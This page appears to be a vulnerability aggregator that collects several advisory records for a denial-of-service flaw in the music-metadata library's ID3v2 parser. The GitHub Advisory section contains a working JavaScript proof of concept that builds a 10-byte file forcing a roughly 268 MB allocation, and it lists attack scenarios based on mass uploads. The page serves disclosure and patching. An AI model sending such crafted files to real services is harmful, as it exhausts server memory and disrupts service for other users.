music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.

Source published

8 Oct 2026 19:00:24 UTC

Source modified

14 Oct 2026 02:44:54 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.

Source published

Oct 8, 2026, 7:00:24 PM (timezone not stated)

Source modified

Oct 14, 2026, 2:44:54 AM (timezone not stated)

Observed here

9 Nov 2026 05:07:52 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the ID3v2 parser trusts the syncsafe tag-size field and allocates the complete tag body before checking whether the input contains the declared bytes. A truncated file containing only an ID3v2 header can request an allocation approaching 268 MiB; the allocation succeeds, the subsequent read reaches end of stream, the EndOfStreamError is caught internally, and the caller receives a normal metadata object. This issue is fixed in version 11.16.0.

Source published

8 Oct 2026 19:17:01 UTC

Source modified

14 Oct 2026 03:17:14 UTC

Observed here

25 Oct 2026 05:17:13 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · [email protected] · Primary · 5.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

### Summary The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error. --- ### Details **Vulnerable Code Path:** - `lib/id3v2/ID3v2Token.ts:108` - Syncsafe size read without validation - `lib/id3v2/ID3v2Parser.ts:122` - Full tag body allocated before reading - `lib/id3v2/AbstractID3Parser.ts:22` - Allocation happens before stream validation **Root Cause:** The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking: 1. If the tag size exceeds the remaining file size 2. If the tag size exceeds a reasonable maximum 3. If the subsequent read will actually succeed ```typescript // ID3v2Token.ts:108 const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly // Later: Allocates without validation const tagBody = await tokenizer.readBuffer(Buffer.alloc(size)); // If actual data < size, read fails but allocation succeeded ``` **Attack Mechanism:** 1. File contains valid ID3v2 header with 10 bytes total 2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value) 3. Parser allocates 268 MB buffer 4. Stream read fails (EOF) after 10 bytes 5. `EndOfStreamError` is caught internally and silently handled 6. Caller receives normal metadata object 7. 268 MB remains allocated until garbage collection **Affected Parsers:** MP3 (primary), FLAC, DSF, Musepack **Memory Amplification:** 10 bytes input → 268 MB allocation (26.8 million times amplification) --- ### PoC **Complete reproduction steps:** ```javascript import { parseBuffer } from 'music-metadata'; // Create a minimal ID3v2 file with maximum tag size but truncated content const maliciousFile = Uint8Array.from([ 0x49, 0x44, 0x33, // "ID3" identifier 0x04, 0x00, // Version 2.4.0 0x00, // Flags (no unsync, no extended header, etc) 0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes) // File ends here - truncated ]); console.log('Input file size:', maliciousFile.byteLength, 'bytes'); try { const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' }); console.log('✓ Parse succeeded (no error thrown)'); console.log('✓ Metadata returned:', metadata); console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input'); } catch (error) { console.error('✗ Unexpected error:', error.message); } ``` **To demonstrate memory impact:** Run with `node --expose-gc` to monitor allocations: ```javascript // Extended PoC to show memory usage import { parseBuffer } from 'music-metadata'; import { performance } from 'perf_hooks'; const maliciousFile = Uint8Array.from([ 0x49, 0x44, 0x33, 0x04, 0x00, 0x00, 0x7f, 0x7f, 0x7f, 0x7f ]); // Force garbage collection before test if (global.gc) global.gc(); const before = process.memoryUsage(); console.log('Memory before:', { heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB', external: (before.external / 1024 / 1024).toFixed(2) + ' MB' }); const start = performance.now(); await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' }); const duration = performance.now() - start; const after = process.memoryUsage(); console.log('Memory after:', { heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB', external: (after.external / 1024 / 1024).toFixed(2) + ' MB', heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB', externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB' }); console.log('Parse time:', duration.toFixed(2) + ' ms'); console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal'); ``` **Expected output:** ``` Input file size: 10 bytes ✓ Parse succeeded (no error thrown) ✓ Metadata returned: { format: {}, common: {}, native: {} } ⚠️ ~268 MB was allocated despite only 10 bytes of input Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' } Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' } externalDelta: 256.00 MB Parse time: 15.23 ms Result: ⚠️ LARGE ALLOCATION ``` --- ### Impact **Vulnerability Type:** Uncontrolled Memory Allocation / Denial of Service (CWE-789) **Attack Vector:** Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files **Who is Impacted:** - Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.) - Podcast hosting services (Podbean, Transistor, Anchor, etc.) - Media servers (Plex, Subsonic, Jellyfin, etc.) - Audio processing services (Discord, Slack, Teams) - Any web service with file upload that uses music-metadata **Real-World Exploitation:** 1. **Single Attacker, Multiple Files:** - Upload 10 malicious ID3v2 files (10 bytes each) - Force 2.68 GB memory allocation - Overwhelm server memory capacity 2. **Distributed Attack:** - 100 concurrent uploads × 268 MB = 26.8 GB memory - Exhaust server memory, force OOM kills - Crash worker processes, cause DoS 3. **Slow Leak:** - Repeatedly upload truncated ID3v2 files - Each parse allocates 268 MB - Memory leaks accumulate over time - Server becomes unresponsive 4. **Cost Impact:** - Forced to scale up server capacity for parsing - Increased infrastructure costs - Reduced service availability

Source published

8 Oct 2026 19:43:17 UTC

Source modified

8 Oct 2026 20:00:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE